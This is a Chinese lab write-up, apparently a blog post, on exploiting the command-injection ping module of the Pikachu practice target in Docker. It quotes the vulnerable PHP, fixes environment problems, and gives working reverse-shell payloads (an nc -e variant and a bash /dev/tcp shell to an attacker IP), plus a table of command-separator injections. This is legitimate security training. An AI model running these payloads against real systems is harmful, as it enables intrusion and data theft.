摘要 / 前言: RCE (Remote Command/Code Execution) 是渗透测试中危害极大的漏洞。在 Pikachu 的 exec "ping" 模块中,由于后端代码未对 IP 参数进行严格过滤,直接拼接执行了系统命令,导致了命令执行漏洞。
本次通关过程中,由于使用的是 Docker 搭建的靶场环境,遇到了“命令无回显”和“反弹 Shell 失败”的特殊情况。本文将详细记录从环境修复到利用 Bash 反弹 Shell 的全过程,重点分析 nc 在不同环境下的差异及管道符的利用原理。
一、漏洞成因分析
查看后端核心代码 (rce_ping.php),逻辑非常简单直接:
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];
// s:获取操作系统名称,检测当前运行环境是否为 Windows 系统,Windows 和 Linux 执行不同命令。if(stristr(php_uname('s'), 'windows')){$result.=shell_exec('ping'.$ip);
}else {
// 核心漏洞点:变量 $ip 直接拼接到了命令字符串中
$result.=shell_exec('ping -c 4'.$ip);
}
}
分析:
开发者原本意图是执行 ping -c 4 [用户输入 IP]。但由于没有过滤 |, &, ; 等连接符,可以通过闭合前面的命令,执行想要的恶意指令。例如输入 127.0.0.1 | ls,系统就会执行 ping,并将结果传给 ls(或者依次执行)。

二、Docker 环境踩坑记录
在实际利用过程中,因为我是用 Docker 容器部署的 Pikachu,遇到了两个典型的环境问题。
踩坑 1:Ping 命令无回显
现象:
在输入框输入 127.0.0.1 点击 Ping,页面加载完成后没有任何内容输出,甚至连报错都没有。
原因排查:
PHP 的 shell_exec 函数只返回标准输出 (STDOUT),不返回错误输出 (STDERR)。Docker 的很多基础镜像(如 Debian Slim 或 Ubuntu Minimal)为了精简体积,默认没有安装 ping 工具 。
导致后端执行 ping 命令时报错 command not found,但因为是错误流,前端看不到,表现为“无回显”。
解决方案:
需要进入容器手动安装 ping 工具(以 Debian/Ubuntu 容器为例):
# 1. 进入容器终端
docker exec -it < 容器 ID> /bin/bash
# 2. 更新源并安装 ping
apt-get update
apt-get install -y iputils-ping
安装完成后,再次测试 127.0.0.1,回显正常。
踩坑 2:Netcat (nc) 反弹 Shell 失败
现象:
试图使用经典的 nc 反弹命令:127.0.0.1 | nc -e /bin/bash 192.168.93.129 5566
结果攻击机(Kali)端虽然接收到了连接,但 瞬间断开,或者根本没有 Shell 环境。
原因分析:
现代 Linux 发行版中预装的 nc 通常是 netcat-openbsd 版本。出于安全考虑,该版本 移除了 -e 参数(该参数允许程序执行并重定向输入输出)。因此,直接使用 -e /bin/bash 是无效的。
三、最终利用:Bash 反弹 Shell
既然 nc 不支持 -e,且单纯的管道符无法提供交互环境,我们需要利用 Linux 系统自带的 bash 进行 TCP 重定向。
Payload:
127.0.0.1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.93.129/5566 0>&1'
详细解析:
127.0.0.1 |: 用于满足原本 ping 命令的格式(或者用;隔开也可以),确保命令拼接成功。/bin/bash -c '...': 调用 bash 来执行单引号内的复杂命令串。bash -i: 启动一个交互式 (interactive) 的 shell。>& /dev/tcp/IP/PORT: 这是 Bash 的内置特性。它将 标准输出 (stdout) 和 标准错误 (stderr) 重定向到一个特殊的设备文件(全都导向了那个网络连接,其实是建立一个 TCP 连接到攻击机)。受害者机器执行命令后的结果(1)和报错(2),都会顺着这条线飞给攻击者。0>&1: 将 标准输入 (stdin) 重定向到标准输出的位置。这意味着,攻击机发过来的指令(stdin),会通过这个 TCP 连接传给容器内的 bash 执行;bash 执行的结果(stdout),又会通过 TCP 连接传回给攻击机。
当连接建立后,这成了一个 完美的闭环:
- 指令下达:攻击者在自己的黑框框里输入 cat /etc/passwd 并敲下回车。
- 网络传输:这个字符串通过绑定的端口,跨越互联网,飞向受害者机器。
- 指令执行:受害者的 Bash 从 0>&1(也就是网络线)里听到了这个指令,就像在本地输入一样,老老实实地去读取文件。
- 结果回传:读取到的内容(文件数据)被送往 1(标准输出)。由于 >& 已经把 1 接到了网络线上,数据再次飞回攻击者机器。
- 屏幕显示:攻击者在自己的屏幕上看到了受害者机器里的敏感文件。
执行步骤:
- 攻击机监听:
bash nc -lvp 5566 - 靶场输入 Payload:
在输入框填入上述 Payload 并提交。 - 获取 Shell:
攻击机终端显示连接建立,输入ls,成功列出目录!

四、Linux 与 Windows 常用命令连接符(管道符)总结
在做 RCE(命令执行)类漏洞时,我们通常利用这些符号把“恶意命令”拼接到“正常命令”后面。
| 符号 | 名称 | Linux 支持 | Windows 支持 | 作用详解 (以 A [符号] B 为例) |
场景举例 (Ping RCE) |
|---|---|---|---|---|---|
| |
管道符 | ✅ | ✅ | 将 A 的输出作为 B 的输入。 A 和 B 都会执行,但 A 的结果看不到,因为传给 B 了。 |
127.0.0.1 | id(Ping 的结果传给 id,但 id 不处理输入,只显示当前用户) |
|| |
逻辑或 | ✅ | ✅ | 只有当 A 执行失败时,才执行 B。 如果 A 成功,B 不执行。 |
ping x.x.x.x || whoami(故意输个错 IP 让 Ping 失败,就会执行 whoami) |
& |
后台 / 连接 | ✅ | ✅ | Linux: 让 A 在后台运行,紧接着运行 B。 Windows: 仅仅是连接符,先跑 A,再跑 B (不管 A 是否成功)。 |
127.0.0.1 & ipconfig(Windows 下最常用的拼接符) |
&& |
逻辑与 | ✅ | ✅ | 只有当 A 执行成功时,才执行 B。 如果 A 失败,B 不执行。 |
127.0.0.1 && dir(前面 IP 必须通,才会执行 dir) |
; |
分号 | ✅ | ❌ | 命令分隔符 。先执行 A,再执行 B。 不管 A 成功还是失败,B 都会执行。 |
127.0.0.1 ; ls(Linux 下最常用的拼接符,不受 Ping 结果影响) |
%0a |
换行符 | ✅ | ❌(部分) | 在 URL 编码中代表换行。相当于在终端按了回车,开始输下一条命令。 | 127.0.0.1 %0a ls |
博客笔记建议:
在 RCE Ping 题目中,最稳健的选择通常是:
- Linux: 使用
;(分号) 或者|(管道)。 - Windows: 使用
&(连接符) 或者|(管道)。 - 如果希望忽略前面的 Ping 命令是否成功,直接执行后面的:Linux 用
;,Windows 用&。
五、总结
在 Docker 环境下做 RCE 靶场练习时,环境差异是最大的拦路虎。
- 工具缺失:Docker 镜像讲究最小化,常缺失
ping,ifconfig,vi等命令,无回显时优先考虑报错或工具缺失。 - 功能阉割 :容器内的
nc往往不支持-e,这时候Bash 反弹 或 Python 反弹 是更通用的选择。 - 管道符逻辑:理解
|是传递数据流而不是单纯的连接符,对于构造复杂的 Payload 至关重要。